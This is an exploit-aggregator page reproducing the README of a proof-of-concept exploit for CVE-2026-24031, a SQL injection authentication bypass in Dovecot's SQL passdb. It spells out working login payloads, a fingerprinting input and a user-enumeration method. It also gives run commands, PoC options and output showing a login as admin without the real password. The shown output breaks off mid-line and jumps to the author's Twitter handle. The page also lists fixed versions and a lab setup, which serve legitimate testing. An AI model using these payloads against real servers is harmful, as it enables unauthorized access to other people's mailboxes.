Sploitus

Exploit for SQL Injection in Dovecot

githubexploit Β· 2026-08-12

Exploit Code

README167 lines
## https://sploitus.com/exploit?id=C2DDD3F6-39DD-5DC1-955F-1D18E63CAB1D
# CVE-2026-24031: Dovecot SQL authentication bypass (authentication + user enumeration)

This repository contains a proof-of-concept authentication-bypass exploit for
**CVE-2026-24031**, a SQL injection in Dovecot's SQL-based authentication
introduced as a regression in Dovecot 2.4.0 / 3.1.0. In the tested Docker lab
(Dovecot 2.4.0 + PostgreSQL), the PoC logs in as **any user without knowing
their real password**, and can also enumerate users.

> **Warning**
>
> This PoC performs an unauthenticated authentication bypass against a mail
> server. Use it only against a lab you own or against targets you are
> explicitly authorized to test. It does not modify the server's state, but it
> will exercise authentication and may leave failed-login entries in logs.

## Vulnerability summary

Dovecot SQL-based authentication is vulnerable when the administrator clears
the `auth_username_chars` configuration directive (sets it to an empty value).
`auth_username_chars` normally acts as an input filter that restricts which
characters are allowed in a username *before* the username is interpolated
into the SQL passdb query.

With `auth_username_chars = ` empty, the value is passed through to the query
**without** `sql_escape_string()`. A crafted username containing SQL
metacharacters therefore becomes part of the query:

```sql
SELECT username AS user, password FROM users
WHERE username = '%{user}' AND active = TRUE
```

The following payload makes the query return a row for `VICTIM` with a
password chosen by the attacker:

```
' UNION SELECT 'VICTIM','{PLAIN}12345' -- 
```

`{PLAIN}` is parsed by Dovecot (not by the database), so the password scheme
is handled natively and the trick works on pgsql, mysql, mariadb and sqlite.
Sending `12345` as the password then matches, yielding `LOGIN OK` as `VICTIM`
without knowing the real password.

The resulting query is:

```sql
SELECT username AS user, password FROM users
WHERE username = '' UNION SELECT 'VICTIM','{PLAIN}12345' -- ' AND active = TRUE
```

## Affected and fixed versions

This is a **regression introduced in Dovecot 2.4.0** and also present in
3.1.0. Earlier 2.2.x / 2.3.x releases escape the username and are not
vulnerable. The flaw is fixed in 2.4.3 and 3.1.4 (OXDC-ADV-2026-0001,
DOV-8781).

| Line | Status |
| --- | --- |
| Dovecot 2.2.x | Not affected (username is escaped) |
| Dovecot 2.3.x | Not affected (username is escaped) |
| Dovecot 2.4.0 | **Vulnerable** (regression: username not escaped) |
| Dovecot 2.4.3+ | Fixed (username is escaped) |
| Dovecot 3.1.0 | **Vulnerable** (same regression) |
| Dovecot 3.1.4+ | Fixed (username is escaped) |

The vulnerability only applies when **all** of these hold:

- Dovecot 2.4.0 or 3.1.0;
- a SQL passdb (`driver = sql`) using `pgsql`, `mysql`, `mariadb` or `sqlite`;
- `auth_username_chars = ` (empty) β€” the trigger condition set by the
  administrator;
- network reachability to the IMAP / POP3 / ManageSieve service (TLS or not).

The PoC was validated against Dovecot **2.4.0** (official release tag,
`daeb6bc5`) + PostgreSQL.

## Exploitation process

### 1. Detect the no-escape condition

Authenticate with username `' OR '1'='1' -- ` and an arbitrary password. On a
vulnerable server the query is altered, so Dovecot returns
`a1 NO [UNAVAILABLE] Temporary authentication failure.` instead of the classic
`AUTHENTICATIONFAILED`. This is the fingerprint that the username reached the
SQL query unescaped.

### 2. Bypass authentication with UNION SELECT

Authenticate with username:

```
' UNION SELECT 'VICTIM','{PLAIN}12345' -- 
```

and password `12345`. The UNION row overrides the `password` column for
`VICTIM`, and `{PLAIN}` is parsed by Dovecot, so the password check succeeds.

### 3. User enumeration

Because the query result shape differs between "user exists" and "user does
not exist" (row count and response status), the server leaks whether a
username exists. This works against every affected backend.

## Building and running the PoC

The PoC is a self-contained Python 3 script (standard library only). Start the
vulnerable lab and run the exploit:

```sh
./run.sh
```

`run.sh` builds and starts the Docker lab (`lab/docker-compose.yml`), waits
for IMAPS on `127.0.0.1:14193`, then runs the PoC. The lab builds Dovecot
2.4.0 from the official release tarball with an intentionally vulnerable
configuration and a PostgreSQL database.

Equivalent manual steps:

```sh
docker compose -f lab/docker-compose.yml up -d --build
python3 cve-2026-24031-poc.py 127.0.0.1 14193 0.3 imap
```

PoC options:

```
python3 cve-2026-24031-poc.py  [PORT] [DELAY] [PROTO]

  HOST       IP or hostname (required)
  PORT       993 = IMAPS/TLS (default), 143 = IMAP, 995 = POP3S, 110 = POP3
  DELAY      seconds between attempts (default 0.5)
  PROTO      imap (default) | pop3

Optional environment variables:
  CVE24031_USER   username to impersonate (default: admin)
  CVE24031_PASS   password chosen for the UNION row (default: 12345)
```

The lab database seeds these users: `admin/admin123`, `alice/alicepass`,
`bob/bobpass`, `postmaster/postpass`, and `victim/supersecret`. The PoC
impersonates `admin` without knowing its password.

## Reproduced results

The PoC was validated end-to-end in the Docker lab. The `admin` user's real
password is `admin123`; the PoC logs in as `admin` using `12345`.

```
$ python3 cve-2026-24031-poc.py 127.0.0.1 14193 0.3 imap
[*] Target  : 127.0.0.1:14193 (imap, plain)
[*] Victim  : admin   imposed password: 12345
[*] TARGET CONFIG: Dovecot 2.4.0/3.1.0 + driver=sql + auth_username_chars EMPTY

=== PHASE 1: UNION SELECT (login as victim without real password) ===
    [UN ] user="' UNION SELECT 'admin','{PLAIN}12345' -- "  pwd='12345' -> OK

============================================================
[!] >>>>>> BYPASS CONFIRMED `
(Twitter: [@aramosf](https://twitter.com/aramosf)).

## About

CVE-2026-24031 Dovecot SQL authentication bypass (authentication bypass + user enumeration) PoC